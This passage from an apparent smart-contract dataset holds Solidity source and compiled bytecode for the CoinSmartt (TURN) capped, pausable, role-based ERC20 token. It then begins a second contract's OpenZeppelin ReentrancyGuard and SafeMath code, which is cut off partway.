*/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title Superuser * @dev The Superuser contract defines a single superuser who can transfer the ownership * of a contract to a new address, even if he is not the owner. * A superuser can transfer his role to a new address. */ contract Superuser is Ownable, RBAC { string public constant ROLE_SUPERUSER = "superuser"; constructor () public { addRole(msg.sender, ROLE_SUPERUSER); } /** * @dev Throws if called by any account that's not a superuser. */ modifier onlySuperuser() { checkRole(msg.sender, ROLE_SUPERUSER); _; } modifier onlyOwnerOrSuperuser() { require(msg.sender == owner || isSuperuser(msg.sender)); _; } /** * @dev getter to determine if address has superuser role */ function isSuperuser(address _addr) public view returns (bool) { return hasRole(_addr, ROLE_SUPERUSER); } /** * @dev Allows the current superuser to transfer his role to a newSuperuser. * @param _newSuperuser The address to transfer ownership to. */ function transferSuperuser(address _newSuperuser) public onlySuperuser { require(_newSuperuser != address(0)); removeRole(msg.sender, ROLE_SUPERUSER); addRole(_newSuperuser, ROLE_SUPERUSER); } /** * @dev Allows the current superuser or owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwnerOrSuperuser { _transferOwnership(_newOwner); } } contract CoinSmartt is Superuser, PausableToken, CappedToken { string public name = "CoinSmartt"; string public symbol = "TURN"; uint256 public decimals = 18; string public constant ROLE_MINTER = "minter"; constructor(address _minter) CappedToken(7663809523810000000000000000) { //constructor addRole(_minter, ROLE_MINTER); } function mint( address _to, uint256 _amount ) onlyRole("minter") canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function removeMinter(address _minter) onlyOwnerOrSuperuser { removeRole(_minter, "minter"); } function addMinter(address _minter) onlyOwnerOrSuperuser { addRole(_minter, "minter"); } }
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461017a57806306fdde03146101a9578063095ea7b3146102395780630988ca8c1461029e57806318160ddd14610327578063217fe6c61461035257806323b872dd146103f35780633092afd514610478578063313ce567146104bb578063355274ea146104e65780633f4ba83a1461051157806340c10f191461052857806357c393fa1461058d5780635c975abb146105d057806366188463146105ff57806370a0823114610664578063715018a6146106bb5780637d64bcb4146106d25780638456cb59146107015780638da5cb5b1461071857806392afc33a1461076f57806395d89b41146107ff578063983b2d561461088f578063a9059cbb146108d2578063bceee05e14610937578063d73dd62314610992578063dd62ed3e146109f7578063ebb4f48414610a6e578063f2fde38b14610afe575b600080fd5b34801561018657600080fd5b5061018f610b41565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610b54565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fe5780820151818401526020810190506101e3565b50505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024557600080fd5b50610284600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf2565b604051808215151515815260200191505060405180910390f35b3480156102aa57600080fd5b50610325600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c22565b005b34801561033357600080fd5b5061033c610ca3565b6040518082815260200191505060405180910390f35b34801561035e57600080fd5b506103d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610cad565b604051808215151515815260200191505060405180910390f35b3480156103ff57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d34565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d66565b005b3480156104c757600080fd5b506104d0610e14565b6040518082815260200191505060405180910390f35b3480156104f257600080fd5b506104fb610e1a565b6040518082815260200191505060405180910390f35b34801561051d57600080fd5b50610526610e20565b005b34801561053457600080fd5b50610573600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee0565b604051808215151515815260200191505060405180910390f35b34801561059957600080fd5b506105ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b3480156105dc57600080fd5b506105e56111cc565b604051808215151515815260200191505060405180910390f35b34801561060b57600080fd5b5061064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111df565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b506106a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120f565b6040518082815260200191505060405180910390f35b3480156106c757600080fd5b506106d0611257565b005b3480156106de57600080fd5b506106e761135c565b604051808215151515815260200191505060405180910390f35b34801561070d57600080fd5b50610716611424565b005b34801561072457600080fd5b5061072d6114e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077b57600080fd5b5061078461150b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107c45780820151818401526020810190506107a9565b50505050905090810190601f1680156107f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561080b57600080fd5b50610814611544565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610854578082015181840152602081019050610839565b50505050905090810190601f1680156108815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561089b57600080fd5b506108d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e2565b005b3480156108de57600080fd5b5061091d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611690565b604051808215151515815260200191505060405180910390f35b34801561094357600080fd5b50610978600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c0565b604051808215151515815260200191505060405180910390f35b34801561099e57600080fd5b506109dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611708565b604051808215151515815260200191505060405180910390f35b348015610a0357600080fd5b50610a58600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611738565b6040518082815260200191505060405180910390f35b348015610a7a57600080fd5b50610a836117bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ac3578082015181840152602081019050610aa8565b50505050905090810190601f168015610af05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b0a57600080fd5b50610b3f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f8565b005b600560019054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bea5780601f10610bbf57610100808354040283529160200191610bea565b820191906000526020600020905b815481529060010190602001808311610bcd57829003601f168201915b505050505081565b6000600560009054906101000a900460ff16151515610c1057600080fd5b610c1a8383611870565b905092915050565b610c9f826004836040518082805190602001908083835b602083101515610c5e5780518252602082019150602081019050602083039250610c39565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061196290919063ffffffff16565b5050565b6000600154905090565b6000610d2c836004846040518082805190602001908083835b602083101515610ceb5780518252602082019150602081019050602083039250610cc6565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061197b90919063ffffffff16565b905092915050565b6000600560009054906101000a900460ff16151515610d5257600080fd5b610d5d8484846119d4565b90509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dc75750610dc6336116c0565b5b1515610dd257600080fd5b610e11816040805190810160405280600681526020017f6d696e7465720000000000000000000000000000000000000000000000000000815250611d8e565b50565b60095481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7c57600080fd5b600560009054906101000a900460ff161515610e9757600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60006040805190810160405280600681526020017f6d696e7465720000000000000000000000000000000000000000000000000000815250610f223382610c22565b600560019054906101000a900460ff16151515610f3e57600080fd5b600654610f5684600154611ec290919063ffffffff16565b11151515610f6357600080fd5b610f7883600154611ec290919063ffffffff16565b600181905550610fcf836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b61110f336040805190810160405280600981526020017f7375706572757365720000000000000000000000000000000000000000000000815250610c22565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561114b57600080fd5b61118a336040805190810160405280600981526020017f7375706572757365720000000000000000000000000000000000000000000000815250611d8e565b6111c9816040805190810160405280600981526020017f7375706572757365720000000000000000000000000000000000000000000000815250611ede565b50565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff161515156111fd57600080fd5b6112078383612012565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112b357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ba57600080fd5b600560019054906101000a900460ff161515156113d657600080fd5b6001600560016101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148057600080fd5b600560009054906101000a900460ff1615151561149c57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f6d696e746572000000000000000000000000000000000000000000000000000081525081565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115da5780601f106115af576101008083540402835291602001916115da565b820191906000526020600020905b8154815290600101906020018083116115bd57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116435750611642336116c0565b5b151561164e57600080fd5b61168d816040805190810160405280600681526020017f6d696e7465720000000000000000000000000000000000000000000000000000815250611ede565b50565b6000600560009054906101000a900460ff161515156116ae57600080fd5b6116b883836122a3565b905092915050565b6000611701826040805190810160405280600981526020017f7375706572757365720000000000000000000000000000000000000000000000815250610cad565b9050919050565b6000600560009054906101000a900460ff1615151561172657600080fd5b61173083836124c2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040805190810160405280600981526020017f737570657275736572000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118595750611858336116c0565b5b151561186457600080fd5b61186d816126be565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b61196c828261197b565b151561197757600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a1157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a5e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ae957600080fd5b611b3a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ba90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bcd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ba90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b611e0b826004836040518082805190602001908083835b602083101515611dca5780518252602082019150602081019050602083039250611da5565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206127d390919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b83811015611e84578082015181840152602081019050611e69565b50505050905090810190601f168015611eb15780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b60008183019050828110151515611ed557fe5b80905092915050565b611f5b826004836040518082805190602001908083835b602083101515611f1a5780518252602082019150602081019050602083039250611ef5565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061283190919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b700489826040518080602001828103825283818151815260200191508051906020019080838360005b83811015611fd4578082015181840152602081019050611fb9565b50505050905090810190601f1680156120015780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612123576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b7565b61213683826127ba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156122e057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561232d57600080fd5b61237e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ba90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612411826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061255382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126fa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156127c857fe5b818303905092915050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a723058209cc0dcfbfe6e663b79f60f6a4c87a7a90a04f4ebbe738b6a6c2a52df15d075b40029
[ 38 ]
0xf39241012dca1612c5c77c5a09d853c5bf47737b
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's 